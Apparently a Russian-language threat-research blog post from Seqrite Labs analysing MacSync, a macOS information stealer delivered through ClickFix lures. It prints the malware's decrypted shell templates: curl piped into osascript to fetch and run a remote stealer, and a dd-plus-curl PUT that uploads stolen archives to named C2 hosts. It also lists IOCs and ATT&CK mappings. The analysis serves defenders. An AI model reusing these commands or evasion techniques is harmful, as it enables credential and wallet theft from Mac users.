• Продукция и Услуги
        • облако

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BYOD
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • На Прем

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • Платформа

          • Malware Analysis Platform
        • Малый бизнес

          • SOHO Total Edition
        • Услуги

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • Кибербезопасность и Data Privacy Awareness
  • Решения
    • BFSI
    • Образование
    • Правительство
    • Здравоохранение
    • ITeS
    • Производство
  • O компании
    • О нас Seqrite
    • Руководство
    • Награды и сертификаты
    • Новости
  • Партнёры
    • Партнерская программа
    • Найти партнера
    • Стать партнером
  • Поддержка
  • Ресурсы
    • статьи
    • Статьи
    • Даташит
    • Сферы деятельности
    • Отчеты об угрозах
    • Руководства
    • точка зрения
    • Понимание Data Privacy
    • Проверьте свой рейтинг риска
    • Диалоги ДПДП
    • Час конфиденциальности
Seqrite Labs Блог
Связаться с отделом продаж Под обстрелом?
  • Продукция и Услуги
        • облако

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BYOD
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • На Прем

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • Платформа

          • Malware Analysis Platform
        • Малый бизнес

          • SOHO Total Edition
        • Услуги

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • Кибербезопасность и Data Privacy Awareness
  • Решения
    • BFSI
    • Образование
    • Правительство
    • Здравоохранение
    • ITeS
    • Производство
  • O компании
    • О нас Seqrite
    • Руководство
    • Награды и сертификаты
    • Новости
  • Партнёры
    • Партнерская программа
    • Найти партнера
    • Стать партнером
  • Поддержка
  • Ресурсы
    • статьи
    • Статьи
    • Даташит
    • Сферы деятельности
    • Отчеты об угрозах
    • Руководства
    • точка зрения
    • Понимание Data Privacy
    • Проверьте свой рейтинг риска
    • Диалоги ДПДП
    • Час конфиденциальности
Главная  /  Технические  / MacSync: Неуловимый похититель macOS, использующий уловки ClickFix
MacSync: Неуловимый похититель macOS, использующий уловки ClickFix.
08 сентябрь 2026

MacSync: Неуловимый похититель macOS, использующий уловки ClickFix.

Написано Чандра Кант Баури
Чандра Кант Баури
Технические

Управляющее резюме

MacSync Stealer — это семейство программ для кражи информации из macOS и программ для удаленного доступа, разработанных для обхода обнаружения и продаваемых на коммерческой основе по модели «вредоносное ПО как услуга» (MaaS).

В цепочке атак исполняемые файлы MacSync являются нативными загрузчиками и механизмами многокомпонентной эксфильтрации. Вместо автономных сборщиков данных, полезные нагрузки представляют собой легковесные 64-битные исполняемые файлы Mach-O, которые незаметно отключаются от терминальных сессий, загружают модули для извлечения учетных данных непосредственно в память и надежно эксфильтруют украденные учетные данные обратно в инфраструктуру кампании.

MacSync предоставляется преимущественно через ClickFix Социальная инженерия и вредоносная реклама в поисковых системах. Используется модульная многоуровневая стратегия выполнения для обхода Apple Gatekeeper, XProtect и других инструментов. endpoint detection and response (МЭД) инструменты, обеспечивающие при этом минимальное использование дискового пространства.

  1. Демонизация скрытой сессии: При запуске MacSync отключается от управляющей терминальной сессии, используя системные вызовы POSIX fork() и setsid(). Он перенаправляется к процессу с PID 1 (launchd) и перенаправляет стандартный ввод, стандартный вывод и стандартную ошибку в /dev/null, чтобы сообщения об ошибках и вывод процесса не отображались в консоли.
  2. Обфускация XOR на основе шаблонов для одного байтаЧтобы обойти статические сигнатуры и автоматическое извлечение строк, бинарные файлы MacSync скрывают функциональные строки (включая конечные точки C2, аргументы командной строки, заголовки API и пути к временным файлам) с помощью встроенного шаблонного класса C++ (ObfuscatedString). Во время выполнения исполняемый файл расшифровывает эти строки и сохраняет их в локальные буферы стека, используя однобайтовое XOR-операцию.
  3. Динамический конвейер AppleScript в оперативной памяти: Программа-загрузчик избегает записи скриптов для перехвата учетных данных на диск. Вместо этого она подключается к серверам управления и контроля (C2) по протоколу HTTPS, используя пользовательские заголовки (такие как api-key: и токены кампании), и передает ответ непосредственно в /usr/bin/osascript через стандартный ввод. Это позволяет злоумышленникам обновлять полезные нагрузки для кражи данных на стороне сервера без перекомпиляции клиентского бинарного файла.
  4. Отказоустойчивая фрагментированная эксфильтрация данных объемом 10 МБ: Для передачи больших украденных архивов (содержащих хранилища браузеров, системные связки ключей и базы данных криптовалютных кошельков) MacSync разбивает файлы на фрагменты размером 10 МБ. Он извлекает каждый фрагмент с помощью встроенной утилиты dd и загружает их последовательно с помощью HTTP-запросов PUT, используя экспоненциальную задержку для повторных попыток неудачной передачи.
  5. Самоочищающаяся антикриминалистическая система: Программа-загрузчик оперативно удаляет временные файлы на диске. Как только сервер управления и контроля (C2) возвращает HTTP-ответ 200, подтверждающий пошаговую загрузку, вредоносная программа удаляет локальный файл состояния (/tmp/.httpcode) и архив, загруженный в систему (/tmp/osalogging.zip).                                                                                     

Происхождение субъектов угроз и экосистема вредоносного ПО как услуги (MaaS).

MacSync появился в 2025 году, и в сообщениях СМИ его связывали с более ранним проектом Mac.C Stealer и ником разработчика «Mentalpositive». Threat intelLigence отслеживает MacSync как сервис, предоставляющий вредоносное ПО и вспомогательную инфраструктуру другим киберпреступникам.

Имеющиеся данные свидетельствуют о четком разделении между разработкой вредоносного ПО и проведением кампаний. Сборки MacSync часто содержат идентификаторы, специфичные для развертывания, в то время как кампании полагаются на независимо управляемые системы доставки и ротируемую бэкэнд-инфраструктуру. CIS выявила тег сборки s3, связанный с партнерской сборкой, а Microsoft позже сопоставила более 30 доменов на основе повторяющихся путей URI, характеристик запросов, заголовков API-ключей и поведения при эксфильтрации данных.

Распространение MacSync в основном основано на социальной инженерии, а не на использовании уязвимостей программного обеспечения. Кампании распространяют вредоносное ПО через вредоносную рекламу, SEO-отравление, взломанные веб-сайты, поддельные программы и установщики ИИ, а также страницы ClickFix, которые обманом заставляют жертв выполнять команды в Терминале.

Хотя в ходе публичных исследований были обнаружены следы разработки на русском языке в некоторых образцах MacSync, этих признаков недостаточно для того, чтобы отнести вредоносное ПО к конкретному злоумышленнику или преступному синдикату.

Соответствующая инфраструктура следует определенным моделям поведения, которые останутся актуальными независимо от смены доменов. Поведение, демонстрируемое примером и загрузчиком MacSync, включает запросы C2 к /dynamic?txd= с указанием ключа API в заголовке, а также сбором данных локально перед загрузкой через /gate?buildtxd= с параметрами upload_id, chunk_index и total_chunks.

Партнерские кампании: доставка ClickFix

MacSync часто распространяется через кампании ClickFix , нацеленные на пользователей macOS. Вместо использования уязвимостей программного обеспечения эти атаки используют методы социальной инженерии, чтобы обманом заставить жертв копировать и запускать команды в Терминале под видом установщиков программного обеспечения, проверок CAPTCHA, ошибок загрузки или запросов на устранение неполадок.

Хотя в публичных отчетах описываются многочисленные кампании MacSync ClickFix с меняющимися приманками, способами доставки и полезными нагрузками, имеющиеся данные не указывают на то, что все они принадлежат одному и тому же злоумышленнику или что инфраструктура MacSync работает напрямую под управлением ClearFake.

ClearFake / Сеть распределения трафика (TDS)

Партнеры используют системы распределения трафика (TDS), такие как Keitaro TDS, на скомпрометированных веб-сайтах и ​​в рекламных сетях, чтобы направлять посетителей в зависимости от их операционной системы. Проверяя User-Agent браузера, TDS перенаправляет посетителей с Windows на сети, распространяющие LummaC2 , Stealc или Vidar , а посетителей с macOS — на каналы распространения вредоносного ПО MacSync ClickFix.

Методы социальной инженерии и подделка брендов.

В рекламных кампаниях MacSync используются популярные инструменты повышения производительности, обмена сообщениями и разработки программного обеспечения, ориентированные на профессионалов:

Имитация бренда / Тема Сценарий обманной приманки Целевая демографическая группа
Google Meet / Zoom «Ошибка микрофона/аудио: нажмите «Исправить», чтобы восстановить аудиодрайвер macOS». Мошенничество с корпоративными сотрудниками, работающими удаленно, и кандидатами на собеседования.
Claude AI / ChatGPT «Скачать Claude AI Desktop для macOS / Исправить проблемы с подключением WebSockets». Программисты, исследователи в области искусственного интеллекта, специалисты по анализу данных.
Cloudflare / Turnstile «Подтвердите, что вы человек: откройте Терминал и вставьте проверочный код». Общий веб-трафик, криптотрейдеры, пользователи форумов
Docker / Notion / Курсор Отравленная реклама в поиске Google, предлагающая поддельные установщики для настольных компьютеров. Разработчики программного обеспечения, DevOps-инженеры, технические руководители
TradingView / Криптовалютные приложения «Обновите свой графический движок, чтобы просматривать рыночные данные в режиме реального времени». Состоятельные криптотрейдеры, инвесторы DeFi

 

Глобальная географическая телеметрия и влияние на отрасль

Географическая телеметрия

Threat intelСогласно отчетам о нарушениях, кампании MacSync в основном нацелены на регионы с широким распространением macOS в корпоративной среде, секторами технологий и разработки программного обеспечения, а также активными сообществами криптовалют или Web3. Телеметрия за август 2026 года показывает, что наибольшая доля обнаружений приходится на Соединенные Штаты, за которыми следуют Великобритания, Германия, Япония, Канада, Франция, Сингапур, Австралия, Индия, а также Нидерланды и страны Северной Европы.

Рисунок 1: Географическое распределение macsync

Целевые отраслевые секторы

Сектор промышленности Основные целевые роли Высокоценные активы Вектор угрозы / Приманка Операционное воздействие
Разработка программного обеспечения и технологические стартапы Разработчики полного стека, DevOps-инженеры, исследователи в области искусственного интеллекта. Закрытые ключи SSH, токены AWS/GCP, учетные данные GitHub/GitLab, файлы .env. Вредоносная реклама, имитирующая Claude AI, Cursor IDE, Docker Desktop, Notion Захват облачных сервисов, кража исходного кода, компрометация цепочки поставок.
Криптовалюта и Web3 Разработчики блокчейна, трейдеры DeFi, участники DAO, управляющие фондами. Данные хранилищ MetaMask, Phantom, Coinbase, TronLink; файлы кошельков Exodus/Electrum. Поддельные ссылки на веб-конференции Web3, обманчивое обновление TradingView Опустошение кошелька, несанкционированные переводы токенов, кража ключей смарт-контрактов.
Корпоративная удаленная рабочая сила Высшее руководство, отдел кадров, отдел продаж и маркетинга Данные из связки ключей macOS, токены Slack/Discord, сессии Google Workspace/Okta. Исправление ошибок, связанных с поддельным микрофоном или камерой в Google Meet/Zoom. Перехват личных данных, злоупотребление сессионными cookie-файлами, перенаправление внутри сети.
Государственные и оборонные подрядчики Сотрудники и подрядчики SLTT Учетные данные для доступа к правительственным порталам, профили VPN, учетные данные сотрудников. Вредоносная реклама в поисковых системах, взломанные муниципальные веб-сайты Несанкционированный доступ со стороны муниципалитета, утечка конфиденциальных данных граждан.
Финтех и финансовые услуги Финансовые аналитики, количественные трейдеры, бухгалтеры Токены банковских сессий, учетные данные для бухгалтерского учета, данные платежных карт. Поддельные программы для просмотра счетов-фактур, «исправления» проблем с рендерингом PDF-файлов. Финансовое мошенничество, несанкционированные корпоративные банковские переводы

Цепочка атак MacSync

Рисунок 2: Цепочка атак
  1. Первоначальное заражение (способ с ClickFix): Авторы вредоносного ПО используют вредоносную рекламу в поисковых системах, где жертвы ищут определенное программное обеспечение. Они попадают на вредоносную веб-страницу (похожую на поддельную). Клод АИ Chatbot, Обновление безопасности Apple, Установщик криптокошелька), что приводит к появлению сообщения об ошибке, предлагающего жертве выполнить команду в окне Терминала (curl -s … | zsh).
  2. Этап 1 (скрипт-оболочка): Вредоносный скрипт запускается в терминальной среде и немедленно активирует фоновый процесс.
  3. Этап 2 (полезная нагрузка Base64): Вспомогательный скрипт распаковывает фоновую полезную нагрузку (daemon_function), которая выполняет собственный бинарный загрузчик Mach-O (наш образец: com.utils.Launcher).
  4. Этап 3 (Динамический похититель AppleScript): Бинарный файл отправляет запрос к /dynamic?txd=… на C2-сервере с пользовательским заголовком (api-key: de62a2f4…) и напрямую передает его в osascript. AppleScript запрашивает системный пароль пользователя, похищает все данные из связок ключей и выгружает базы данных, cookie-файлы сессий, SSH-ключи, сессии Telegram и криптокошельки в /tmp/osalogging.zip.
  5. Этап 4 (RAT с упорством): Полезная нагрузка запускает еще один RAT-проект Mach-O, который продолжает существовать, используя каталог ~/Library/LaunchAgents/, переименовывая себя в com.google.keystone.plist или com.apple.sync.plist.
  6. Этап 5 (TCC Helper): Использует специально созданную подписанную вспомогательную программу для запроса и получения разрешений для Запись экрана в macOS.
  7. Этап 6 (Эксфильтрация и удаление артефактов): Эта программа Mach-O обнаруживает наличие файла /tmp/osalogging.zip и разбивает его на фрагменты. 10 MB (0xA00000 байт) с помощью dd отправляет данные по протоколу HTTP PUT на /gate?buildtxd=…и удаляет /tmp/osalogging.zip и /tmp/.httpcode.

Поток выполнения двоичных файлов

На изображении ниже показан полный жизненный цикл исполняемого файла MacSync stager, от первоначального запуска до окончательной очистки артефактов.

Рисунок 3: Архитектурная схема загрузчика MacSync Mach-O.

Идентификация файлов и статические метаданные

Рисунок 4: Вывод команды terminal otool, отображающий 64-битные заголовки и загрузку Mach-O.

Свойства статического файла

Атрибут Статическое значение Заметки
Название файла 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 Наименование хешей SHA-256
Формат файлов Исполняемый файл Mach-O 64-bit x86_64 Тонкая бинарная архитектура (единая архитектура)
Магия Мах-О 0xFEEDFACF (MH_MAGIC_64) 64-битный заголовок Mach-O
Тип/подтип процессора CPU_TYPE_X86_64 (0x01000007) / ALL (0x00000003) 64-битная архитектура Intel
Размер файла 38,800 байт 0x9790 байт
MD5 9678f71ea4cccbc3d511dc8d7f24b113 Криптографический хэш
SHA-1 59508d071661ea70fa5fcbe6f9e2fb72506e57df Криптографический хэш
SHA-256 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 Хэш первичного образца
Флаги компиляции PIE, TWOLEVEL, BINDS_TO_WEAK, WEAK_DEFINES, NOUNDEFS Позиционно-независимый исполняемый файл
Адрес точки входа 0x100000e30 (_main) Раздел __ТЕКСТ.__текст

Подробности о подписании кода

Рисунок 5: Вывод терминала утилиты codesign, показывающий произвольное подписание, статус отсутствия нотариального заверения и поддельный идентификатор утилиты.
Атрибут Значение Заметки
Статус подписи Нестандартный подписанный (флаги=0x2(нестандартный)) Отсутствует подпись, предоставленная Apple в качестве идентификатора разработчика.
Идентификатор подписи com.utils.Launcher Встроенный идентификатор подписи кода
CDHash d182eb7cba0ffa42d770d7b0d3499e49f24163a2 Хэш каталога кода
CMSDigest d182eb7cba0ffa42d770d7b0d3499e49f24163a2662494ae615713c5f04b5260 дайджест подписи кода
TeamIdentifier не установлено Отсутствует идентификатор команды разработчиков Apple; указывает на несанкционированное подписание.

Обфускация строк и восстановление ключей

Обратное проектирование криптографического движка

Статический анализ строк, выполненный на чистом исполняемом файле, не выявил URL-адресов, путей к файлам или ссылок на команды в открытом виде. Ссылки на _main дали 19 ссылок на шаблонный класс C++:

Атрибут Значение
Искажённый символ __ZNK16ObfuscatedStringILm…EE7decryptEv
Деконструированный символ Обфусцированная строка ::decrypt() const
Диапазон адресов 0x100002350 - 0x100002740
Рисунок 6: Высокоуровневая IL-декомпиляция шаблона расшифровки строки C++ с использованием однобайтового ключа XOR 0xAA.

Обнаружен однобайтовый ключ XOR: 0xAA (в десятичном представлении: 170, в двоичном: 10101010).

Рисунок 7: исходные константы, зашифрованные с помощью XOR, хранящиеся в сегменте __TEXT.__const.

Для расшифровки всех зашифрованных байтовых строк без предварительного знания открытого текста запускается следующий автономный скрипт:

Рисунок 8: программа дешифрования

Вывод программы расшифровки

Рисунок 9: Результаты работы автоматизированного инструмента расшифровки на Python, показывающие все пути и команды управления и контроля, зашифрованные с помощью операции XOR 0xAA.

Схема дешифрования и хранения строк с помощью операции XOR.

Аппаратная операция XOR (/tmp/.httpcode)

В следующей таблице показаны фактические операции, происходящие в регистре ЦП ecx (xor ecx, 0xaa) для пути к файлу состояния по адресу 0x100002a2e.

Байт # Зашифрованный шестнадцатеричный код Ключ XOR Расшифрованный шестнадцатеричный код Характер
0 0x85 0xAA 0x2F /
1 0xDE 0xAA 0x74 t
2 0xC7 0xAA 0x6D m
3 0xДА 0xAA 0x70 p
4 0x85 0xAA 0x2F /
5 0x84 0xAA 0x2E .
6 0xC2 0xAA 0x68 h
7 0xDE 0xAA 0x74 t
8 0xDE 0xAA 0x74 t
9 0xДА 0xAA 0x70 p
10 0xC9 0xAA 0x63 c
11 0xC5 0xAA 0x6F o
12 0xСЕ 0xAA 0x64 d
13 0xCF 0xAA 0x65 e
14 0xAA 0xAA 0x00 \0

 

Путь /tmp/osalogging.zip формируется с помощью стековых литералов и XOR-дешифрования.

Обратное проектирование _главное – Структура памяти и демонизация

Создание URL-адресов / Подготовка конечных точек. В примере в локальные переменные стека загружаются несколько фрагментов строк, связанных с URL-адресами (например, https, http, asia., usa.). Затем выделяется локальный буфер размером 128 байт для формирования строки. Наличие фрагментов региональных доменов и схем HTTP(S) подразумевает, что сетевые конечные точки создаются или выбираются во время выполнения, что ограничивает видимость полных URL-адресов при статическом анализе.

Рисунок 10: несколько строк URL

Демонизация процесса и маскировка потока (0x100000e30 – 0x100000f54)

Рисунок 11: создание дочернего процесса, завершение родительского процесса, создание сессии и маскировка потока.
  1. Выполнение _Fork() (0x100000e69): Родительский процесс завершается корректно, возвращая 0. Он немедленно завершает работу, передавая управление терминалу. В этот момент дочерний процесс переназначается в качестве родительского процесса для launchd, который работает с PID 1.
  2. Создание сессии _Setsid() (0x100000eb7): Дочерний процесс отделяется от управляющего терминала. Этот шаг гарантирует, что процесс больше не привязан ни к какой сессии.
  3. Подавление потока (0x100000efe – 0x100000f48): Дочерний процесс перенаправляет свой ввод, стандартный вывод и стандартную ошибку в /dev/null. Это делается с помощью трех вызовов функции _freopen(). Каждый вызов обрабатывает один из потоков, эффективно подавляя любую активность ввода или вывода.

Обратное проектирование _main – Динамический опрос C2 и AppleScript в оперативной памяти

Декомпиляция IL-кода в необработанном двоичном формате с помощью Ninja High-Level (0x100001070 – 0x100001300)

Рисунок 12: отображение динамического цикла опроса C2 и выполнения в памяти с помощью osascript.            
  • В ассемблере 0xc8 соответствует десятичному числу 200 (HTTP 200 OK).
  • Функция sub_100001e20() содержит расшифрованный шаблон команды: curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript.
  • Скрипт AppleScript передается напрямую из curl в osascript без промежуточного файла скрипта; он напрямую перенаправляется из curl в исполняемый файл Apple /usr/bin/osascript через стандартный ввод.

Статические атрибуты конфигурации:

Атрибут Значение
Жетон кампании (txd) c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0
Токен аутентификации ворот api-key: de62a2f47d1c7dec2997f931a050a615
Основной хост drivinguber.com
Резервный хост newsinweb.com
Региональные префиксы Азия. / США.

Рабочий процесс конвейера выполнения

  1. Первичный медицинский опрос (drivinguber.com):
Рисунок 13: медицинский датчик (вождение Uber)
  1. Оценка статуса: Считывает файл /tmp/.httpcode с помощью функции _fscanf(“%d”, &code) и удаляет ссылку с файла /tmp/.httpcode.
  2. Выполнение операции "Конвейер в памяти" (0x10000128e): Если код равен 200 (0xC8), программа форматируется и запускается:
Рисунок 14: выполнение osascript в оперативной памяти
  1. Запасной вариант ротации: если основной вариант не срабатывает, выполняется итерация по [https, http] [asia., usa.] с базовым сайтом newsinweb.com.

10MB Chunking Engine & System V ABI

Рисунок 15: Представление HLIL, отображающее проверку статистики, разделение на 10 МБ и генерацию токена идентификатора сессии.
  1. Проверка цели: Вызывает функцию _stat$INODE64(“/tmp/osalogging.zip” &stat_buf). Если файл отсутствует или его размер равен нулю, функция завершается корректно (возвращает 0).
  2. Деление целых чисел с максимальным пределом:Общее количество блоков равно целой части числа (размер файла плюс 0x9FFFFF, деленное на 0xA00000) (фиксированный размер блока равен 0xA00000, что составляет 10 485 760 байт или 10 МБ).
  3. Идентификатор сессии: Создано с помощью snprintf(upload_id, 0x40 “%ld-%08x” time(NULL) rand()).

Адаптивный алгоритм повторных попыток с отсрочкой

Рисунок 16: увеличение счетчика повторных попыток и расчет задержки сна (повторные попытки 2 + 3).

Повторные попытки до 8 раз с адаптивной задержкой: Задержка = (индекс повторной попытки × 2) + 3 секунды (5с, 7с, 9с, 11с, 13с, 15с, 17с, 19с)

Команды оболочки, выполняемые через _system()

# Эксплуатация Расшифрованный шаблон формата Цель
1 Зонд здоровья C2 curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” -o /dev/null -w “%%{http_code}” > %s 2>/dev/null Проверяет доступность C2 и сохраняет код состояния HTTP в файле /tmp/.httpcode.
2 Этап 3. Этап в памяти. curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript Загружает удалённый похититель AppleScript и выполняет его через osascript.
3 Этап 6. Поэтапная эксфильтрация. dd if=%s bs=1 skip=%ld count=%ld 2>/dev/null | curl -k -s -X PUT –data-binary @- … Разделяет файл /tmp/osalogging.zip на фрагменты по 10 МБ и загружает каждый фрагмент с помощью HTTP PUT.

Встроенные операции с процессами и файлами POSIX

# Тип работы Вызов нативного API цель Операционная цель
6 Процесс Форк _вилка() ARCXNUMX Родительский процесс немедленно завершает свою работу, отсоединяясь от терминала.
7 Отсоединение сессии _setsid() ARCXNUMX Создаёт новую отсоединённую сессию; дочерний процесс становится независимым демоном.
8 Маскировка потока _freopen(“/dev/null”, “r”, *___stdinp) / DEV / нуль Отключает стандартный входной сигнал.
9 Маскировка потока _freopen(“/dev/null”, “w”, *___stdoutp) / DEV / нуль Отключает стандартный вывод команд curl и osascript.
10 Маскировка потока _freopen(“/dev/null”, “w”, *___stderrp) / DEV / нуль Отключает вывод стандартного потока ошибок, чтобы предотвратить оповещения терминала.
11 Проверка файла _stat$INODE64(“/tmp/osalogging.zip”, &stat_buf) /tmp/osalogging.zip Перед загрузкой проверяет наличие и размер архива собранных данных.
12 Очистка статуса _unlink(“/tmp/.httpcode”) /tmp/.httpcode Удаляет временный файл с кодами состояния HTTP после выполнения операции.
13 Очистка архива Loot _remove(“/tmp/osalogging.zip”) /tmp/osalogging.zip Удаляет украденный ZIP-архив данных после успешной эксфильтрации.

Индикаторы компрометации (IOC)

Индикаторы хоста

Тип индикатора Значение Описание
Хэш SHA-256 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 Native Mach-O Stager Binary
MD5-хэш 9678f71ea4cccbc3d511dc8d7f24b113 Native Mach-O Stager Binary
Хэш SHA-1 59508d071661ea70fa5fcbe6f9e2fb72506e57df Native Mach-O Stager Binary
Идентификатор подписи кода com.utils.Launcher Идентификатор пакета подписей ad-hoc
CDHash d182eb7cba0ffa42d770d7b0d3499e49f24163a2 Хэш каталога кода
Поэтапный архив /tmp/osalogging.zip Архив Harvest, содержащий украденные данные.
Файл состояния /tmp/.httpcode Временный файл кода ответа HTTP

 

Сетевые индикаторы

Тип индикатора Значение Описание
Домен C2 (основной) drivinguber.com Основной сервер управления и контроля (C2) 3-го/6-го этапов
Домен C2 (резервный) asia.newsinweb.com Резервная конечная точка C2 в азиатском регионе
Домен C2 (резервный) usa.newsinweb.com Резервная конечная точка C2 региона США
Корневой домен C2 newsinweb.com Резервный корневой домен
URI (Скачать) /dynamic?txd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 Динамический шлюз полезной нагрузки AppleScript
URI (Загрузка) /gate?buildtxd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 Шлюз загрузки двоичного PUT размером 10 МБ
Заголовок HTTP-запроса api-key: de62a2f47d1c7dec2997f931a050a615 токен аутентификации кампании
HTTP User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36 Поддельный User-Agent клиента

MITRE ATT&CK Картографирование

тактика Идентификатор техники Техника Реализация MacSync
Первоначальный доступ T1204.002 Пользовательское исполнение ClickFix обманным путем заставляет пользователей выполнить зашифрованную команду в Терминале.
Типы T1059.002 AppleScript Выполняет удаленные скрипты AppleScript через /usr/bin/osascript.
Типы T1059.004 Оболочка Unix Выполняет команды /bin/sh.
Настойчивость T1543.001 Агент запуска Устанавливает вредоносный файл .plist в ~/Library/LaunchAgents/.
Уклонение от защиты T1027 затемнение Операция XOR 0xAA скрывает строки и URL-адреса.
Уклонение от защиты T1564.001 Скрытые файлы Использует файлы с префиксом в виде точки для временных данных.
Уклонение от защиты T1070.004 Удаление файла Удаляет временные файлы после загрузки данных.
Уклонение от защиты T1036.005 Маскарад Использует com.utils.Launcher для имитации легитимного компонента.
Уклонение от защиты T1562.001 Ослабить защиту Перенаправляет стандартный ввод, стандартный вывод и стандартную ошибку в /dev/null.
Доступ к учетным данным T1555.001 Брелок Использует security dump-keychain для доступа к сохраненным учетным данным.
Доступ к учетным данным T1539 Файлы cookie веб-сессии Нацелена на базы данных cookie браузеров для кражи сессий.
Доступ к учетным данным T1552.004 Частные ключи Собирает SSH-ключи и учетные данные AWS.
Дискавери T1082 Информация о системе Собирает информацию о версии macOS, UUID оборудования и архитектуре процессора.
‎ T1560.001 Архивировать собранные данные Архивирует украденные данные в файл /tmp/osalogging.zip.
Команда и управление T1071.001 Веб-протоколы Осуществляет связь с C2 по протоколу HTTPS/443.
Команда и управление T1105 Входной инструмент передачи Загружает модули AppleScript второго этапа.
эксфильтрации T1030 Ограничения размера передаваемых данных Разделяет архив на фрагменты размером 10 МБ.
эксфильтрации T1048.003 Альтернативный протокол Загружает бинарные фрагменты данных посредством HTTP PUT-запросов.

Автор:

Чандракант Баури

 предыдущий постЧто такое защита конфиденциальности и почему она важна для бизнеса...
Следующий пост  Какие самые лучшие Digital Risk Protection Services в 2026 году
Чандра Кант Баури

О Чандре Канте Баури

...

Статьи Чандры Канта Баури »

Похожие статьи

  • CVE-2026-3854: Как параметры Git Push стали примитивом для внедрения внутренних метаданных

    CVE-2026-3854: Как параметры Git Push стали примитивом для внедрения внутренних метаданных

    6 октября 2026
  • Внутри DragonForce: как на самом деле работает полезная нагрузка картеля программ-вымогателей

    1 октября 2026
  • Операция QUICSILVER: Китайский агент, связанный с Китаем, атакует дипломатов Мьянмы через бэкдор Go, распространяемый с помощью VHD-технологии.

    17 августа 2026
Избранные авторы
  • Seqrite
    Seqrite

    Seqrite является ведущим поставщиком решений в области корпоративной кибербезопасности. Специализируется на...

    Прочитайте больше статей Seqrite
  • Бинеш П.
    Бинеш П.

    Я страстный энтузиаст кибербезопасности и преданный писатель. Обладая талантом...

    Читайте другие статьи Бинеша П.
  • Джоти Карлекар
    Джоти Карлекар

    Я страстный писатель, которому нравится создавать контент о новых технологиях и...

    Прочтите другие статьи Джоти Карлекара
  • Санджай Каткар
    Санджай Каткар

    Санджай Каткар — соуправляющий директор Quick Heal Technologies...

    Читайте другие статьи Санджая Каткара
Темы
склонный (25) Cyber-атака (36) кибер-атаки (58) кибератаки (16) кибератаки (15) Информационная безопасность (343) информационная безопасность (34) Киберугроза (33) кибер-угрозы (51) Данные нарушения (56) нарушения данных (29) Потеря данных (28) предотвращение потери данных (34) data privacy (17) защита данных (35) безопасность данных (19) DLP (50) ДПДП (14) ДПДПА (17) Шифрование (16) для защиты конечных точек (113) Безопасность предприятия (20) Эксплуатировать (13) GDPR (14) вредоносных программ (76) анализ вредоносных программ (15) вредоносная атака (23) МДМ (27) Microsoft (15) MITRE ATT & CK (14) Сетевая безопасность (26) фишинг (30) Ransomware (69) атака ransomware (31) атаки ransomware (31) защита от копирования (17) Seqrite (41) Seqrite Шифрование (27) Seqrite EPS (33) Seqrite Услуги (16) обнаружение угрозы (15) Threat Intelлигенция (25) UTM (34) Уязвимость (16) нулевое доверие (13)
Seqrite Labs

Ведущий поставщик решений по корпоративной ИТ-безопасности, упрощающий защиту конечных точек, данных и сетей с помощью лучших в своем классе решений по предотвращению, обнаружению и реагированию на угрозы по всему миру.

Подробнее о Seqrite

Наши соцсети:

Подпишитесь на нашу рассылку

Будьте в курсе последних тенденций и новостей в сфере кибербезопасности.

Загрузка
Продукция и Услуги
  • облако
  • Endpoint Protection
  • Endpoint Detection and Response
  • Mobile Device Management
  • BYOD
  • Extended Detection and Response
  • Zero Trust Network Access
  • Data Privacy
  • На Прем
  • Endpoint Protection
  • Endpoint Detection and Response
  • Data Privacy
  • Платформа
  • Malware Analysis Platform
  • Микро Бизнес
  • SOHO Total Edition
  • Услуги
  • Threat Intel
  • Digital Risk Protection Services (DRPS)
  • Ransomware Recovery as a Services (RRaaS)
  • DPDP Compliance
  • Managed Detection and Response
  • Кибербезопасность и Data Privacy Awareness
Ресурсы
  • статьи
  • Статьи
  • Даташит
  • Отчеты об угрозах
  • Руководства
  • точка зрения
  • Понимание Data Privacy
  • Диалоги ДПДП
  • Политика и соответствие
  • Лицензионное соглашение
  • GoDeep.AI
  • SIA
  • Час конфиденциальности
Свяжитесь с нами
  • Зарегистрированные офисы
  • Давайте поговорим о кибербезопасности
Поддержка
  • Техподдержка
  • Загрузка программного обеспечения
  • Автономное обновление
  • Обновление прошивки
  • Обновления
  • Документация
О Нас
  • О нас Seqrite
  • Руководство
  • Награды и признание
  • Новости
Сотрудничайте
  • Партнерская программа
  • Найти партнера
  • Стать партнером
  • Seqrite Сертификаты

© 2026 Quick Heal Technologies Ltd.

Карта сайта Политика конфиденциальности Юридическая информация Политика использования файлов cookie Условия эксплуатации